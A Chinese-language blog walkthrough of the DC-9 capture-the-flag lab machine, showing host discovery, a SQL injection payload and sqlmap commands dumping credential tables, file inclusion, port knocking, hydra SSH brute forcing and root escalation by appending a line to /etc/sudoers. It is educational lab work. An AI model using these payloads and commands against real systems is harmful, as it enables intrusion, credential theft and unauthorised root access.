DC-9靶机渗透测试全过程

目录

 

前期准备

一、渗透过程

1.IP地址查询

2.端口信息查询

3.网页功能查询

SQL注入

knockd 

janitor用户

提权

二、总结


 

前期准备

攻击机: kali windows11

靶机: DC-9(调至NAT模式)

一、渗透过程

1.IP地址查询

┌──(root㉿kali)-[/var/www/html]
└─# arp-scan -l

通过比对MAC地址,得到靶机的IP地址为: 192.168.105.169

2.端口信息查询

┌──(root㉿kali)-[/var/www/html]
└─# nmap -sV -p- 192.168.105.169

得到22端口以及80端口,但这里有一个不同的点

这里显示22端口处于 filtered状态

“filtered” 表示端口处于被过滤状态。这意味着扫描工具无法确定该端口是开放还是关闭,因为中间设备(如防火墙、入侵检测系统(IDS)、入侵防御系统(IPS)等)对扫描流量进行了过滤,阻止了扫描数据包到达目标端口,或者阻止了目标端口的响应数据包返回给扫描者。

这个22端口之后可能需要我们去打开,先访问80端口

3.网页功能查询

没出现大型cms,看来功能点需要自己去找,主要就是这两个功能点

Manage是登录的页面,应该是之后得到了账号密码再用的,先看看这个Search,简单搜一下Display页面人的名字

 发现显示了Display一样的内容,直接尝试sql注入

SQL注入

1' or 1=1 #

发现应该是能够注入的,直接交给sqlmap,但是这里抓包看到了

是results.php中的search参数,所以命令应该是下面这样的

(1)爆数据库

┌──(root㉿kali)-[~]
└─# sqlmap -u "http://192.168.105.169/results.php" --data 'search=1' --dbs

 

直接尝试users数据库

(2)爆表名

┌──(root㉿kali)-[~]
└─# sqlmap -u "http://192.168.105.169/results.php" --data 'search=1' -D users --tables

得到唯一一个表: UserDetails

(3)爆字段名

┌──(root㉿kali)-[~]
└─# sqlmap -u "http://192.168.105.169/results.php" --data 'search=1' -D users -T UserDetails --columns

 

 (4)爆值

┌──(root㉿kali)-[~]
└─# sqlmap -u "http://192.168.105.169/results.php" --data 'search=1' -D users -T UserDetails -C username,password --dump
+-----------+---------------+
| username  | password      |
+-----------+---------------+
| marym     | 3kfs86sfd     |
| julied    | 468sfdfsd2    |
| fredf     | 4sfd87sfd1    |
| barneyr   | RocksOff      |
| tomc      | TC&TheBoyz    |
| jerrym    | B8m#48sd      |
| wilmaf    | Pebbles       |
| bettyr    | BamBam01      |
| chandlerb | UrAG0D!       |
| joeyt     | Passw0rd      |
| rachelg   | yN72#dsd      |
| rossg     | ILoveRachel   |
| monicag   | 3248dsds7s    |
| phoebeb   | smellycats    |
| scoots    | YR3BVxxxw87   |
| janitor   | Ilovepeepee   |
| janitor2  | Hawaii-Five-0 |
+-----------+---------------+

这么多账号密码,结果一个有用的都没有。。。应该是进错数据库了,尝试重复尝试之前的staff数据库

┌──(root㉿kali)-[~/dc-9]
└─# sqlmap -u "http://192.168.105.169/results.php" --data 'search=1' -D Staff -T Users -C Password,Username --dump

此外,在输入这条命令后会有选项问你是否需要对hash值进行爆破,这里先不爆破,导出来先

+----------------------------------+----------+
| Password                         | Username |
+----------------------------------+----------+
| 856f5de590ef37314e7c3bdf6f8a66dc | admin    |
+----------------------------------+----------+

成功得到admin和密码 ,密码看起来像md5加密的,用网页工具先爆破试试

 856f5de590ef37314e7c3bdf6f8a66dc

额,网页爆破工具要钱。。。只好全交给sqlmap了

也是成功解出来了 : transorbital1  直接登录!

 

找个能弹shell的地方或者能打开22端口的地方

发现只有在我点击进入Manage的时候,后面才会有这两个按钮Add 和 Log Out

果然是文件包含,看看如何利用?我想看看日志文件,但发现此时无法读取。然后发现其他师傅提供了一个目录:/proc/sched_debug

/proc/sched_debug 提供了系统中各个 CPU 调度域(scheduling domains)、调度组(scheduling groups)以及任务调度的详细信息。

 此时将得到的信息复制复制下来,保存到文件中(要对其进行筛选了)

┌──(root㉿kali)-[~/dc-9]
└─# vim tmp.txt

 

使用 sort 排序,再使用uniq去个同,然后看到了这个进程

knockd 

是一个在 Linux 系统上实现端口敲门(Port Knocking)功能的守护进程,端口敲门是一种安全技术,通过按特定顺序访问(“敲门”)一系列预定义的端口,来临时打开系统上原本被防火墙阻止的特定端口,从而提供对服务的访问。knockd 进程负责监听这些敲门序列,并根据配置文件的规则来动态修改防火墙规则。 

看看knockd的配置

发现需要依次敲击这三个端口: 7469 8475 9842,使用Knock命令

┌──(root㉿kali)-[~]
└─# knock 192.168.105.169 7469 8475 9842

此时再看看22端口的状态

发现已经打开了,此时admin账号估计是登不上去了,但之前得的一大堆账号说不定能登,直接使用SSH爆破,先保存到不同的文件

┌──(root㉿kali)-[~/dc-9]
└─# hydra -L users.txt -P passwords.txt ssh://192.168.105.169

得到能进行SSH登录的账号密码有三对

chandlerb    UrAG0D!

joeyt   Passw0rd

janitor Ilovepeepee

先登第一个用户chandlerb 看看信息,发现其家目录下没什么文件,再找找他有没有什么提权文件,

发现都没有,joeyt用户也是如此,到了janitor用户发现了些东西(通过 ls -al 看隐藏文件)

janitor用户

janitor@dc-9:~$ ls -al
total 16
drwx------  4 janitor janitor 4096 Feb 18 00:22 .
drwxr-xr-x 19 root    root    4096 Dec 29  2019 ..
lrwxrwxrwx  1 janitor janitor    9 Dec 29  2019 .bash_history -> /dev/null
drwx------  3 janitor janitor 4096 Feb 18 00:22 .gnupg
drwx------  2 janitor janitor 4096 Dec 29  2019 .secrets-for-putin

看到这里的 secrets-for-putin  ,进去看看有什么东西,发现有个txt文件,里面好像存的是一些密码

janitor@dc-9:~$ cd .secrets-for-putin
janitor@dc-9:~/.secrets-for-putin$ ls
passwords-found-on-post-it-notes.txt
janitor@dc-9:~/.secrets-for-putin$ cat passwords-found-on-post-it-notes.txt
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts

再此基础上,我们知道通过上面得到的账户,没看到任何的提权信息,而现在又得到了一些密码,说不定还是让我们进行ssh爆破的,将密码保存下来,继续进行ssh爆破

直接看到了新的账号和密码

fredf B4-Tru3-001

┌──(root㉿kali)-[~]
└─# ssh fredf@192.168.105.169
fredf@192.168.105.169's password:
Linux dc-9 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
fredf@dc-9:~$

提权

成功登录!看看能不能提权

fredf@dc-9:~$ sudo -l
Matching Defaults entries for fredf on dc-9:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User fredf may run the following commands on dc-9:
    (root) NOPASSWD: /opt/devstuff/dist/test/test

成功发现提权文件!进到这个目录看一下,发现已经编译好的test执行文件,顺着去找一下编译文件(看看逻辑)

fredf@dc-9:/opt/devstuff$ ls
build  dist  __pycache__  test.py  test.spec

看到这里有test.py文件,应该就是编译文件了

fredf@dc-9:/opt/devstuff$ cat test.py
#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
    print ("Usage: python test.py read append")
    sys.exit (1)

else :
    f = open(sys.argv[1], "r")
    output = (f.read())

    f = open(sys.argv[2], "a")
    f.write(output)
    f.close()

逻辑是这样的:
        先读取第一个参数文件的内容,再将其追加到第二个参数文件中

那可不可以先写一段能提权的代码,再将其加到提权文件中呢?对于root用户而言,有一个

/etc/sudoers ,类似这样

如果能将fredf这个用户也拥有sudo权限的话,就是把 fredf ALL=(ALL:ALL) ALL 写入/etc/sudoers

那我们首先就得准备一个文本文件,这里假设是test.txt(写文件需要返回家目录,不然权限不够)

fredf@dc-9:~$ nano test.txt
fredf@dc-9:~$ cat test.txt
fredf ALL=(ALL:ALL) ALL

 再利用我们找到的test执行文件

fredf@dc-9:~$ sudo /opt/devstuff/dist/test/test test.txt /etc/sudoers
fredf@dc-9:~$ sudo su
[sudo] password for fredf:
root@dc-9:/home/fredf#

成功提权到root!

root@dc-9:~# cat theflag.txt


███╗   ██╗██╗ ██████╗███████╗    ██╗    ██╗ ██████╗ ██████╗ ██╗  ██╗██╗██╗██╗
████╗  ██║██║██╔════╝██╔════╝    ██║    ██║██╔═══██╗██╔══██╗██║ ██╔╝██║██║██║
██╔██╗ ██║██║██║     █████╗      ██║ █╗ ██║██║   ██║██████╔╝█████╔╝ ██║██║██║
██║╚██╗██║██║██║     ██╔══╝      ██║███╗██║██║   ██║██╔══██╗██╔═██╗ ╚═╝╚═╝╚═╝
██║ ╚████║██║╚██████╗███████╗    ╚███╔███╔╝╚██████╔╝██║  ██║██║  ██╗██╗██╗██╗
╚═╝  ╚═══╝╚═╝ ╚═════╝╚══════╝     ╚══╝╚══╝  ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝╚═╝╚═╝

Congratulations - you have done well to get to this point.

Hope you enjoyed DC-9.  Just wanted to send out a big thanks to all those
who have taken the time to complete the various DC challenges.

I also want to send out a big thank you to the various members of @m0tl3ycr3w .

They are an inspirational bunch of fellows.

Sure, they might smell a bit, but...just kidding.  :-)

Sadly, all things must come to an end, and this will be the last ever
challenge in the DC series.

So long, and thanks for all the fish.

二、总结

DC-9靶机对我来说难度还是很大,整篇有很多是参考着各位师傅的wp进行的。这里我再消化一下接触到的知识:
(1)端口的filtered过滤状态

(2)knockd敲门进程

(3)/proc/sched_debug 目录文件

这里提权用的是已经编译好的执行程序,如果找不到编译文件怎么办?虽然说不一定只有这一条路,但需要学习的知识还有很多。DC靶机到这里就全结束了,花的时间有些长,也学到了不少东西,对于渗透测试的过程更清晰了些,这段也是对自己成长的见证了^-^

 

 

 

 

 

 


 

 

 

 

 

 

 

 

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值